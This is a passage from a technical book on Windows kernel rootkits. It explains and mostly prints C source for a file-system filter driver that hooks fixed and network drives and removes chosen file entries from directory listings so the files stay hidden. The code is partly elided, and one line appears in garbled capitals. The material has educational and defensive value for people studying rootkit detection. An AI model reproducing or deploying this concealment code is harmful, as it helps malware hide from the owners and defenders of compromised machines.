Rootkits: Subverting the Windows Kernel

 < Day Day Up > 

Layered drivers can be applied to many targets, not the least of which is the file system. A layered driver for the file system is actually quite complex, mostly because the file-system mechanisms offered by Windows are fairly robust.

The file system is of special interest to rootkits for stealth reasons. Many rootkits need to store files in the file system, and these must remain hidden. We can use hooks like those covered in Chapter 4 to hide files, but that technique is easy to detect. Also, hooking the System Service Descriptor Table (SSDT) will not hide files or directories if they are mounted over an SMB share. Here we'll discuss a better approach, a layered driver that can hide files.[4]

[4] We discuss the approach in theory here. The source code is not available for download.

We'll start by taking a look at the DriverEntry routine:

NTSTATUS DriverEntry( IN PDRIVER_OBJECT DriverObject, IN PUNICODE_STRING RegistryPath ) { … for( i = 0; i <= IRP_MJ_MAXIMUM_FUNCTION; i++ ) { DriverObject->MajorFunction[i] = OurDispatch; } DriverObject->FastIoDispatch = &OurFastIOHook;

Within the DriverEntry routine, we set up the MajorFunction array to point to our dispatch routine. In addition, we set up a FastIo dispatch table. Here we see something unique to file-system drivers. FastIo is another method by which file-system drivers can communicate.

Once the dispatch table is in place, we then must hook the drives. We call a function, HookDriveSet,[5] to install hooks on all available drive letters:

[5] The HookDrive and HookDriveSet functions were originally adapted from the released source code of filemon, a tool available at www.sysinternals.com. This code was modified a great deal, and runs totally in the kernel. The source code for Filemon is no longer available for download from Sysinternals.

DWORD d_hDrives = 0; // Initialize the drives we will hook. for (i = 0; i < 26; i++) DriveHookDevices[i] = NULL; DrivesToHook = 0; ntStatus = GetDrivesToHook(&d_hDrives); if(!NT_SUCCESS(ntStatus)) return ntStatus; HookDriveSet(d_hDrives, DriverObject);

Here is the code to get the list of drives to hook:

NTSTATUS GetDrivesToHook(DWORD *d_hookDrives) { NTSTATUS ntstatus; PROCESS_DEVICEMAP_INFORMATION s_devMap; DWORD MaxDriveSet, CurDriveSet; int drive; if (d_hookDrives == NULL) return STATUS_UNSUCCESSFUL;

Note the use of the magic handle for the current process:

ntstatus = ZwQueryInformationProcess((HANDLE) 0xffffffff, ProcessDeviceMap, &s_devMap, sizeof(s_devMap), NULL); if(!NT_SUCCESS(ntstatus)) return ntstatus; // Get available drives we can monitor. MaxDriveSet = s_devMap.Query.DriveMap; CurDriveSet = MaxDriveSet; for ( drive = 0; drive < 32; ++drive ) { if ( MaxDriveSet & (1 << drive) ) { switch (s_devMap.Query.DriveType[drive]) {

We start off with drives we want to skip:

// We don't like these: remove them. case DRIVE_UNKNOWN:// The drive type cannot be determined. case DRIVE_NO_ROOT_DIR:// The root directory does not exist. CurDriveSet &= ~(1 << drive); break; // The drive can be removed from the drive. // Doesn't make sense to put hidden files on // a removable drive because we will not // necessarily control the computer that the // drive is mounted on next. case DRIVE_REMOVABLE: CurDriveSet &= ~(1 << drive); break; // The drive is a CD-ROM drive. case DRIVE_CDROM: CurDriveSet &= ~(1 << drive); break;

We will hook the following drives: DRIVE_FIXED, DRIVE_REMOTE, and DRIVE_RAMDISK.

The code continues:

} } } *d_hookDrives = CurDriveSet; return ntstatus; }

The code to hook the drive set follows:

ULONG HookDriveSet(IN ULONG DriveSet, IN PDRIVER_OBJECT DriverObject) { PHOOK_EXTENSION hookExt; ULONG drive, i; ULONG bit; // Scan the drive table, looking for hits on the DriveSet bitmask. for ( drive = 0; drive < 26; ++drive ) { bit = 1 << drive; // Are we supposed to hook this drive? if( (bit & DriveSet) && !(bit & DrivesToHook)) { if( !HookDrive( drive, DriverObject )) { // Remove from drive set if can't be hooked. DriveSet &= ~bit; } else { // Hook drives in same drive group. for( i = 0; i < 26; i++ ) { if( DriveHookDevices[i] == DriveHookDevices[ drive ] ) { DriveSet |= ( 1<<i ); } } } } else if( !(bit & DriveSet) && (bit & DrivesToHook) ) { // Unhook this drive and all in the group. for( i = 0; i< 26; i++ ) { if( DriveHookDevices[i] == DriveHookDevices[ drive ] ) { UnhookDrive( i ); DriveSet &= ~(1 << i); } } } } // Return set of drives currently hooked. DrivesToHook = DriveSet; return DriveSet; }

The code to hook and unhook individual drives follows:

VOID UnhookDrive(IN ULONG Drive) { PHOOK_EXTENSION hookExt;

Here is where we unhook any hooked drives:

if( DriveHookDevices[Drive] ) { hookExt = DriveHookDevices[Drive]->DeviceExtension; hookExt->Hooked = FALSE; } } BOOLEAN HookDrive(IN ULONG Drive, IN PDRIVER_OBJECT DriverObject) { IO_STATUS_BLOCK ioStatus; HANDLE ntFileHandle; OBJECT_ATTRIBUTES objectAttributes; PDEVICE_OBJECT fileSysDevice; PDEVICE_OBJECT hookDevice; UNICODE_STRING fileNameUnicodeString; PFILE_FS_ATTRIBUTE_INFORMATION fileFsAttributes; ULONG fileFsAttributesSize; WCHAR filename[] = L"\\DosDevices\\A:\\"; NTSTATUS ntStatus; ULONG i; PFILE_OBJECT fileObject; PHOOK_EXTENSION hookExtension; if( Drive >= 26 ) return FALSE; // Illegal drive letter // Test whether we have hooked this drive. if( DriveHookDevices[Drive] == NULL ) { filename[12] = (CHAR) ('A'+Drive);// Set up drive name.

Here is where we open the volume's root directory:

RtlInitUnicodeString(&fileNameUnicodeString, filename); InitializeObjectAttributes(&objectAttributes, &fileNameUnicodeString, OBJ_CASE_INSENSITIVE, NULL, NULL); ntStatus = ZwCreateFile(&ntFileHandle, SYNCHRONIZE|FILE_ANY_ACCESS, &objectAttributes, &ioStatus, NULL, 0, FILE_SHARE_READ|FILE_SHARE_WRITE, FILE_OPEN, FILE_SYNCHRONOUS_IO_NONALERT | FILE_DIRECTORY_FILE, NULL, 0 ); if( !NT_SUCCESS( ntStatus )) {

If the program was unable to open the drive, it returns "false":

return FALSE; } // Use file handle to look up the file object. // If this is successful, // we must eventually decrement the file object. ntStatus = ObReferenceObjectByHandle(ntFileHandle, FILE_READ_DATA, NULL, KernelMode, &fileObject, NULL); if( !NT_SUCCESS( ntStatus )) {

If the program could not get the file object from the handle, it returns "false":

ZwClose( ntFileHandle ); return FALSE; } // Get the Device Object from the File Object. fileSysDevice = IoGetRelatedDeviceObject( fileObject ); if(!fileSysDevice) {

If the program was not able to get the device object, it returns "false":

ObDereferenceObject( fileObject ); ZwClose( ntFileHandle ); return FALSE; } // Check the device list to see if we've already // attached to this particular device. // This can happen when more than one drive letter // is being handled by the same network // redirector. for( i = 0; i < 26; i++ ) { if( DriveHookDevices[i] == fileSysDevice ) { // If we're already watching it, // associate this drive letter // with the others that are handled // by the same network driver. This // enables us to intelligently update // the hooking menus when the user // specifies that one of the // group should not be watched - we mark all // of the related drives as unwatched as well. ObDereferenceObject(fileObject); ZwClose(ntFileHandle); DriveHookDevices[ Drive ] = fileSysDevice; return TRUE; } } // The file system's device hasn't been // hooked already, so make a hooking device // object that will be attached to it. ntStatus = IoCreateDevice(DriverObject, sizeof(HOOK_EXTENSION), NULL, fileSysDevice->DeviceType, fileSysDevice->Characteristics, FALSE, &hookDevice); if(!NT_SUCCESS(ntStatus)) {

If the program could not create the associated device, it returns "false":

ObDereferenceObject( fileObject ); ZwClose( ntFileHandle ); return FALSE; } // Clear the device's init flag. // If we do not clear this flag, it is speculated no one else // would be able to layer on top of us. This may be a useful // feature in the future! hookDevice->Flags &= ~DO_DEVICE_INITIALIZING; hookDevice->Flags |= (fileSysDevice->Flags & (DO_BUFFERED_IO | DO_DIRECT_IO)); // Set up the device extensions. The drive letter // and file system object are stored // in the extension. hookExtension = hookDevice->DeviceExtension; hookExtension->LogicalDrive = 'A'+Drive; hookExtension->FileSystem = fileSysDevice; hookExtension->Hooked = TRUE; hookExtension->Type = STANDARD; // Finally, attach to the device. As soon as // we're successfully attached, we may start // receiving IRPs targeted at the device we've hooked. ntStatus = IoAttachDeviceByPointer(hookDevice, fileSysDevice); if(!NT_SUCCESS(ntStatus)) { ObDereferenceObject(fileObject); ZwClose(ntFileHandle); return FALSE; } // // Determine whether this is an NTFS drive. // fileFsAttributesSize = sizeof( FILE_FS_ATTRIBUTE_INFORMATION) + MAXPATHLEN; hookExtension->FsAttributes = (PFILE_FS_ATTRIBUTE_INFORMATION) ExAllocatePool(NonPagedPool, fileFsAttributesSize); if(hookExtension->FsAttributes && !NT_SUCCESS( IoQueryVolumeInformation( fileObject, FileFsAttributeInformation, fileFsAttributesSize, hookExtension->FsAttributes, &fileFsAttributesSize ))) { // // On failure, we just don't have // attributes for this file system. // ExFreePool( hookExtension->FsAttributes ); hookExtension->FsAttributes = NULL; } // // Close the file and update the // hooked drive list by entering a // pointer to the hook device object in it. // ObDereferenceObject( fileObject ); ZwClose( ntFileHandle ); DriveHookDevices[Drive] = hookDevice; } else// This drive is already hooked. { hookExtension = DriveHookDevices[Drive]->DeviceExtension; hookExtension->Hooked = TRUE; } return TRUE; }

Our dispatch routine is standard:

NTSTATUS OurFilterDispatch(IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp) { PIO_STACK_LOCATION currentIrpStack; … currentIrpStack = IoGetCurrentIrpStackLocation(Irp); … IoCopyCurrentIrpStackLocationToNext(Irp);

Here is the most important part of our dispatch routine. This is where we set the I/O completion routine. This routine will be called once the IRP has been processed by lower-level drivers. All of the filtering will occur in the completion routine.

IoSetCompletionRoutine( Irp, OurFilterHookDone, NULL, TRUE, TRUE, FALSE ); return IoCallDriver( hookExt->FileSystem, Irp ); }

Here is the most important routine: the completion routine. As previously mentioned, all of the filtering occurs in this routine.

NTSTATUS OurFilterHookDone( IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp, IN PVOID Context ) { … IrpSp = IoGetCurrentIrpStackLocation( Irp );

We check for a directory query here. We also make sure we are running at PASSIVE_LEVEL.

if(IrpSp->MajorFunction == IRP_MJ_DIRECTORY_CONTROL && IrpSp->MinorFunction == IRP_MN_QUERY_DIRECTORY && KeGetCurrentIrql() == PASSIVE_LEVEL && IrpSp->Parameters.QueryDirectory.FileInformationClass == FileBothDirectoryInformation ) { PFILE_BOTH_DIR_INFORMATION volatile QueryBuffer = NULL; PFILE_BOTH_DIR_INFORMATION volatile NextBuffer = NULL; ULONG bufferLength; DWORD total_size = 0; BOOLEAN hide_me = FALSE; BOOLEAN reset = FALSE; ULONG size = 0; ULONG iteration = 0; QueryBuffer = (PFILE_BOTH_DIR_INFORMATION) Irp->UserBuffer; bufferLength = Irp->IoStatus.Information; if(bufferLength > 0) { do { DbgPrint("Filename: %ws\n", QueryBuffer->FileName); …

Here is where the rootkit can parse the file name and determine whether it wishes to hide the file. File names to hide can be preset and loaded in a list, or they can be based on substrings (as with the popular prefix method, where a file will be hidden if its name has a specified set of prefix characters, or alternatively, a special file extension). We leave the method as an exercise for the reader. Here we assume we want to hide the file, so we set a flag indicating this:

hide_me = TRUE;

If the rootkit is to hide a file, it must modify the QueryBuffer accordingly, removing the associated file entry. The rootkit must handle things differently depending on whether the entry is the first, a middle, or the last entry.

if(hide_me && iteration == 0) {

This point is reached if the first file in the list needs to be hidden. Next, the program checks to determine whether this is the only entry in the list:

if ((IrpSp->Flags == SL_RETURN_SINGLE_ENTRY) || (QueryBuffer->NextEntryOffset == 0)) {

This point has been reached if the entry is the only one in the list. We zero out the query buffer and report that we are returning zero bytes.

RtlZeroMemory(QueryBuffer, sizeof(FILE_BOTH_DIR_INFORMATION)); total_size = 0; } else {

This point is reached if more entries follow the first. We fix the total size we are returning, and remove the offending entry.

total_size -= QueryBuffer->NextEntryOffset; temp = ExAllocatePool(PagedPool, total_size); if (temp != NULL) { RtlCopyMemory(temp, ((PBYTE)QueryBuffer + QueryBuffer->NextEntryOffset), total_size); RtlZeroMemory(QueryBuffer, total_size + QueryBuffer->NextEntryOffset); RtlCopyMemory(QueryBuffer, temp, total_size); ExFreePool(temp); }

We set a flag to indicate we have already fixed the QueryBuffer:

reset = TRUE; } } else if ((iteration > 0) && (QueryBuffer->NextEntryOffset != 0) && (hide_me)) {

This point is reached if we are hiding an element that's in the middle of the list. The program snips out the entry and correct the size to return.

size = ((PBYTE) inputBuffer + Irp->IoStatus.Information) - (PBYTE)QueryBuffer - QueryBuffer->NextEntryOffset; temp = ExAllocatePool(PagedPool, size); if (temp != NULL) { RtlCopyMemory(temp, ((PBYTE)QueryBuffer + QueryBuffer->NextEntryOffset), size); total_size -= QueryBuffer->NextEntryOffset; RtlZeroMemory(QueryBuffer, size + QueryBuffer->NextEntryOffset); RtlCopyMemory(QueryBuffer, temp, size); ExFreePool(temp); }

Again, we set the reset flag to indicate we have already fixed the QueryBuffer:

reset = TRUE; } else if ((iteration > 0) && (QueryBuffer->NextEntryOffset == 0) && (hide_me)) {

This point is reached if we are hiding the last entry in the list. Snipping the entry is much easier in this case, as it is simply removed from the end of the linked list. We don't treat this as a reset of the QueryBuffer.

size = ((PBYTE) inputBuffer + Irp->IoStatus.Information) - (PBYTE) QueryBuffer; NextBuffer->NextEntryOffset = 0; total_size -= size; }

The rootkit then moves on to the next entry, if the buffer hasn't already been fixed (which would indicate that processing of the list is complete):

iteration += 1; if(!reset) { NextBuffer = QueryBuffer; QueryBuffer = (PFILE_BOTH_DIR_INFORMATION)((PBYTE) QueryBuffer + QueryBuffer->NextEntryOffset); } } while(QueryBuffer != NextBuffer)

Once processing is complete, the total_size of the new QueryBuffer is set in the IRP:

IRP->IOSTATUS.INFORMATION = TOTAL_SIZE;

Now, the IRP is marked "pending," if required:

if( Irp->PendingReturned ) { IoMarkIrpPending( Irp ); }

The status is returned:

return Irp->IoStatus.Status; }

When a FastIo call occurs, the code takes a different route. First, we initialize the dispatch table for FastIo calls as a structure of function pointers:

FAST_IO_DISPATCH OurFastIOHook = { sizeof(FAST_IO_DISPATCH), FilterFastIoCheckifPossible, FilterFastIoRead, FilterFastIoWrite, FilterFastIoQueryBasicInfo, FilterFastIoQueryStandardInfo, FilterFastIoLock, FilterFastIoUnlockSingle, FilterFastIoUnlockAll, FilterFastIoUnlockAllByKey, FilterFastIoDeviceControl, FilterFastIoAcquireFile, FilterFastIoReleaseFile, FilterFastIoDetachDevice, FilterFastIoQueryNetworkOpenInfo, FilterFastIoAcquireForModWrite, FilterFastIoMdlRead, FilterFastIoMdlReadComplete, FilterFastIoPrepareMdlWrite, FilterFastIoMdlWriteComplete, FilterFastIoReadCompressed, FilterFastIoWriteCompressed, FilterFastIoMdlReadCompleteCompressed, FilterFastIoMdlWriteCompleteCompressed, FilterFastIoQueryOpen, FilterFastIoReleaseForModWrite, FilterFastIoAcquireForCcFlush, FilterFastIoReleaseForCcFlush };

Each call passes through to the actual FastIO call. In other words, we are not filtering any of the FastIO calls. This is because queries for the file and directory listings are not implemented as FastIO calls. The pass-through calls use a macro[6]:

[6] The FASTIOPRESENT macro was written by Mark Russinovich for Filemon. The source code is no longer available from Sysinternals.

#define FASTIOPRESENT( _hookExt, _call ) \ (_hookExt->FileSystem->DriverObject->FastIoDispatch && \ (((ULONG)&_hookExt->FileSystem->DriverObject->FastIoDispatch->_call - \ (ULONG) &_hookExt->FileSystem-> DriverObject->FastIoDispatch- >SizeOfFastIoDispatch < \ (ULONG) _hookExt->FileSystem->DriverObject->FastIoDispatch- >SizeOfFastIoDispatch )) && \ hookExt->FileSystem->DriverObject->FastIoDispatch->_call )

Here is an example pass-through call. All such calls follow a similar format. Each one must be defined, but no actual filtering occurs within any of them. All of the fast I/O calls are documented in the NTDDK.H file or in the IFS kit (available from Microsoft).

BOOLEAN FilterFastIoQueryStandardInfo( IN PFILE_OBJECT FileObject, IN BOOLEAN Wait, OUT PFILE_STANDARD_INFORMATION Buffer, OUT PIO_STATUS_BLOCK IoStatus, IN PDEVICE_OBJECT DeviceObject ) { BOOLEAN retval = FALSE; PHOOK_EXTENSION hookExt; if( !DeviceObject ) return FALSE; hookExt = DeviceObject->DeviceExtension; if( FASTIOPRESENT( hookExt, FastIoQueryStandardInfo)) { retval = hookExt->FileSystem->DriverObject->FastIoDispatch-> FastIoQueryStandardInfo( FileObject, Wait, Buffer, IoStatus, hookExt->FileSystem ); } return retval; }

That concludes the file-filter driver.

Depending on their features, file filters may be among the most complicated device drivers to write correctly. We hope this discussion has helped you understand the basics of how a rootkit operates when it performs file-system filtering to hide files and directories. This one only hides files and directories, so it is not as complicated as some other file-system filters. For more information on file systems, we recommend Nagar's book[7].

[7] R. Nagar, Windows NT File System Internals: A Developer's Guide (Sebastopol, CA: O'Reilly & Associates, 1997).

     < Day Day Up > 

    Категории